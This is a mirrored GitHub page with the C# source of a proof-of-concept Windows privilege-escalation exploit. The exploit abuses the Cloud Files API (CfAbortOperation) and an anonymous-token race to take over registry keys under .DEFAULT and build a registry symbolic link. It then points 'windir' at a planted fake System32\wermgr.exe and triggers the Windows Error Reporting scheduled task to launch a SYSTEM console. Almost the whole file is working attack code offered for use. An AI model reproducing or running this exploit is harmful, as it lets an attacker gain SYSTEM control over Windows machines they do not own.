mirror of
https://github.com/Nightmare-Eclipse/MiniPlasma.git
synced 2026-05-26 12:10:50 +00:00
369 lines
13 KiB
C#
369 lines
13 KiB
C#
using Microsoft.Win32;
|
|
using Microsoft.Win32.TaskScheduler;
|
|
using NtApiDotNet;
|
|
using NtApiDotNet.Win32;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.IO.Pipes;
|
|
using System.Runtime.InteropServices;
|
|
using System.Security.AccessControl;
|
|
using System.Security.Cryptography;
|
|
using System.Security.Permissions;
|
|
using System.Threading;
|
|
|
|
namespace PoC_AbortHydration_ArbitraryRegKey_EoP
|
|
{
|
|
static class Program
|
|
{
|
|
static NtKey OpenKey(NtKey root, string path, KeyAccessRights desired_access)
|
|
{
|
|
Console.WriteLine("Opening for {0}", desired_access);
|
|
using (var obja = new ObjectAttributes(path, AttributeFlags.OpenLink, root))
|
|
{
|
|
using (var key = NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile, false))
|
|
{
|
|
if (key.IsSuccess)
|
|
return key.Result.Duplicate();
|
|
}
|
|
|
|
using (var imp = NtThread.Current.ImpersonateAnonymousToken())
|
|
{
|
|
return NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile);
|
|
}
|
|
}
|
|
}
|
|
|
|
static void SetSecurityDescriptor(NtKey key, SecurityInformation info)
|
|
{
|
|
var sd = new SecurityDescriptor("D:(A;OICIIO;GA;;;WD)(A;OICIIO;GA;;;AN)(A;;GA;;;WD)(A;;GA;;;AN)S:(ML;OICI;NW;;;S-1-16-0)");
|
|
key.SetSecurityDescriptor(sd, info);
|
|
}
|
|
|
|
static void ForceKeyDeleteKey(NtKey root, string name)
|
|
{
|
|
Console.WriteLine(@"Deleting {0}\{1}", root.FullPath, name);
|
|
using (var key = OpenKey(root, name, KeyAccessRights.WriteDac))
|
|
{
|
|
Console.WriteLine("Opened for WriteDac");
|
|
SetSecurityDescriptor(key, SecurityInformation.Dacl);
|
|
}
|
|
|
|
using (var key = OpenKey(root, name, KeyAccessRights.WriteOwner))
|
|
{
|
|
Console.WriteLine("Opened for WriteOwner");
|
|
SetSecurityDescriptor(key, SecurityInformation.Label);
|
|
}
|
|
|
|
using (var new_key = OpenKey(root, name, KeyAccessRights.Delete | KeyAccessRights.EnumerateSubKeys))
|
|
{
|
|
Console.WriteLine("Opened for enumerate.");
|
|
DeleteRegistryTree(new_key);
|
|
new_key.Delete();
|
|
}
|
|
}
|
|
|
|
static void DeleteRegistryTree(NtKey root)
|
|
{
|
|
foreach (var name in root.QueryKeys())
|
|
{
|
|
ForceKeyDeleteKey(root, name);
|
|
}
|
|
}
|
|
|
|
[Flags]
|
|
enum AbortHydrationFlags
|
|
{
|
|
None = 0,
|
|
Unblock = 1,
|
|
Block = 2,
|
|
}
|
|
|
|
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
|
|
static extern int CfAbortOperation(int pid, IntPtr unknown, AbortHydrationFlags flags);
|
|
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
struct CF_PLATFORM_INFO
|
|
{
|
|
public int BuildNumber;
|
|
public int RevisionNumber;
|
|
public int IntegrationNumber;
|
|
}
|
|
|
|
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
|
|
static extern int CfGetPlatformInfo(
|
|
out CF_PLATFORM_INFO PlatformVersion
|
|
);
|
|
|
|
static void ForceTokenThread(object obj)
|
|
{
|
|
try
|
|
{
|
|
using (var thread = (NtThread)obj)
|
|
{
|
|
Console.WriteLine("In force token thread {0}", thread);
|
|
using (var token = TokenUtils.GetAnonymousToken())
|
|
{
|
|
while (true)
|
|
{
|
|
thread.SetImpersonationToken(token);
|
|
thread.SetImpersonationToken(null);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch(ThreadAbortException)
|
|
{
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine(ex);
|
|
}
|
|
}
|
|
|
|
const string ROOT_KEY = @"\Registry\User\.DEFAULT\Software\Policies\Microsoft";
|
|
static string CLOUD_FILES = $@"{ROOT_KEY}\CloudFiles";
|
|
static string BLOCKED_APPS = $@"{CLOUD_FILES}\BlockedApps";
|
|
const string TARGET_KEY = @"\Registry\User\.DEFAULT\Volatile Environment";
|
|
|
|
static void CheckKeyThread(object root_key)
|
|
{
|
|
string path = (bool)root_key ? ROOT_KEY : @"\Registry\User\.DEFAULT";
|
|
try
|
|
{
|
|
using (var key = NtKey.Open(path, null, KeyAccessRights.MaximumAllowed))
|
|
{
|
|
while (true)
|
|
{
|
|
if (key.NotifyChange(NotifyCompletionFilter.Name, true) == NtStatus.STATUS_NOTIFY_ENUM_DIR)
|
|
{
|
|
Console.WriteLine("Change detected.");
|
|
Environment.Exit(0);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine(ex);
|
|
}
|
|
}
|
|
|
|
static int Check(this int hr)
|
|
{
|
|
if (hr < 0)
|
|
Marshal.ThrowExceptionForHR(hr);
|
|
return hr;
|
|
}
|
|
|
|
const int MAX_STAGE = 4;
|
|
|
|
static void Stage0()
|
|
{
|
|
for (int i = 1; i < MAX_STAGE; ++i)
|
|
{
|
|
Win32ProcessConfig config = new Win32ProcessConfig
|
|
{
|
|
CommandLine = $"run {i}",
|
|
ApplicationName = typeof(Program).Assembly.Location,
|
|
TerminateOnDispose = true
|
|
};
|
|
|
|
using (var p = Win32Process.CreateProcess(config))
|
|
{
|
|
if (p.Process.Wait(10) != NtStatus.STATUS_SUCCESS)
|
|
{
|
|
throw new ArgumentException($"Failed to run stage {i}");
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
static void Stage1(bool root_key)
|
|
{
|
|
Thread check_key_th = new Thread(CheckKeyThread);
|
|
check_key_th.IsBackground = true;
|
|
check_key_th.Start(root_key);
|
|
Thread.Sleep(1000);
|
|
|
|
var th = NtThread.OpenCurrent();
|
|
var anon_thread = new Thread(ForceTokenThread)
|
|
{
|
|
IsBackground = true
|
|
};
|
|
anon_thread.Start(th);
|
|
|
|
while (true)
|
|
{
|
|
CfAbortOperation(NtProcess.Current.ProcessId,
|
|
IntPtr.Zero, AbortHydrationFlags.Block);
|
|
}
|
|
}
|
|
|
|
static void Stage2()
|
|
{
|
|
using (var key = OpenKey(null, CLOUD_FILES, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner | KeyAccessRights.EnumerateSubKeys))
|
|
{
|
|
SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label);
|
|
DeleteRegistryTree(key);
|
|
}
|
|
|
|
NtKey.CreateSymbolicLink(BLOCKED_APPS, null, TARGET_KEY);
|
|
Stage1(false);
|
|
}
|
|
|
|
static void Stage3()
|
|
{
|
|
using (var key = OpenKey(null, BLOCKED_APPS, KeyAccessRights.Delete))
|
|
{
|
|
Console.WriteLine("Cleaning up link {0}", key.FullPath);
|
|
key.Delete();
|
|
}
|
|
|
|
using (var key = OpenKey(null, TARGET_KEY, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner))
|
|
{
|
|
SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label);
|
|
}
|
|
var key2 = Registry.Users.OpenSubKey(@".DEFAULT\Volatile Environment", RegistryRights.FullControl);
|
|
foreach(var subkey in key2.GetSubKeyNames())
|
|
{
|
|
var fullsubkey = TARGET_KEY + @"\" + subkey;
|
|
Console.WriteLine("Cleaning up subkey {0}", fullsubkey);
|
|
NtKey _subkey;
|
|
try
|
|
{
|
|
_subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.WriteDac);
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
|
|
_subkey = OpenKey(null, fullsubkey, KeyAccessRights.WriteDac);
|
|
}
|
|
SetSecurityDescriptor(_subkey, SecurityInformation.Dacl);
|
|
_subkey.Close();
|
|
_subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.Delete);
|
|
_subkey.Delete();
|
|
_subkey.Close();
|
|
}
|
|
|
|
key2.Close();
|
|
using(NtKey ntarget = NtKey.Open(TARGET_KEY,null,KeyAccessRights.SetValue))
|
|
{
|
|
ntarget.SetValue("windir", Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName));
|
|
}
|
|
|
|
string fakesys32 = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName) + @"\System32";
|
|
Directory.CreateDirectory(fakesys32);
|
|
string fakewer = fakesys32 + @"\wermgr.exe";
|
|
File.Copy(Process.GetCurrentProcess().MainModule.FileName, fakewer, true);
|
|
|
|
var srvnamedpipe = new NamedPipeServerStream("MiniPlasmaWERPipe");
|
|
System.Threading.Tasks.Task pipewait = srvnamedpipe.WaitForConnectionAsync();
|
|
|
|
using (TaskService tasksvc = new TaskService())
|
|
{
|
|
Task wertask = tasksvc.GetTask(@"\Microsoft\Windows\Windows Error Reporting\QueueReporting");
|
|
wertask.Run();
|
|
wertask.Dispose();
|
|
}
|
|
if(!pipewait.Wait(2000))
|
|
{
|
|
Console.WriteLine("Exploit failed.");
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine("Exploit succeeded.");
|
|
}
|
|
srvnamedpipe.Dispose();
|
|
Thread.Sleep(1000);
|
|
try
|
|
{
|
|
File.Delete(fakewer);
|
|
Directory.Delete(fakesys32);
|
|
}
|
|
catch (Exception ex)
|
|
{ }
|
|
using (NtKey ntarget = NtKey.Open(TARGET_KEY, null, KeyAccessRights.Delete))
|
|
{
|
|
ntarget.Delete(false);
|
|
}
|
|
|
|
}
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
public static extern bool GetNamedPipeServerSessionId(IntPtr Pipe, out UInt32 ClientProcessId);
|
|
|
|
static void Main(string[] args)
|
|
{
|
|
bool isSystem;
|
|
using (var identity = System.Security.Principal.WindowsIdentity.GetCurrent())
|
|
{
|
|
isSystem = identity.IsSystem;
|
|
}
|
|
if (isSystem)
|
|
{
|
|
Environment.SetEnvironmentVariable("windir", @"C:\Windows",EnvironmentVariableTarget.Process);
|
|
var namedpipeclient = new NamedPipeClientStream("MiniPlasmaWERPipe");
|
|
namedpipeclient.Connect();
|
|
UInt32 nSesID;
|
|
IntPtr hPipe = namedpipeclient.SafePipeHandle.DangerousGetHandle();
|
|
if (!GetNamedPipeServerSessionId(hPipe, out nSesID))
|
|
return;
|
|
namedpipeclient.Dispose();
|
|
NtToken token = NtToken.OpenEffectiveToken();
|
|
NtToken token2 = token.DuplicateToken();
|
|
token.Dispose();
|
|
token = token2;
|
|
token.SetSessionId(((int)nSesID));
|
|
Win32Process.CreateProcessAsUser(token, @"C:\Windows\System32\conhost.exe", "", CreateProcessFlags.None, null);
|
|
return;
|
|
|
|
}
|
|
|
|
|
|
try
|
|
{
|
|
CfGetPlatformInfo(out CF_PLATFORM_INFO _).Check();
|
|
|
|
if (args.Length <= 1)
|
|
{
|
|
int stage = args.Length > 0 ? int.Parse(args[0]) : 0;
|
|
switch (stage)
|
|
{
|
|
case 0:
|
|
Stage0();
|
|
break;
|
|
case 1:
|
|
Stage1(true);
|
|
break;
|
|
case 2:
|
|
Stage2();
|
|
break;
|
|
case 3:
|
|
Stage3();
|
|
break;
|
|
default:
|
|
throw new ArgumentException("Erm?");
|
|
}
|
|
}
|
|
else
|
|
{
|
|
using (var token = TokenUtils.GetLogonUserToken(args[0], "", args[1], SecurityLogonType.Network, null))
|
|
{
|
|
using (var imp = token.Impersonate())
|
|
{
|
|
CfAbortOperation(NtProcess.Current.ProcessId, IntPtr.Zero, AbortHydrationFlags.Block).Check();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine(ex);
|
|
}
|
|
}
|
|
}
|
|
}
|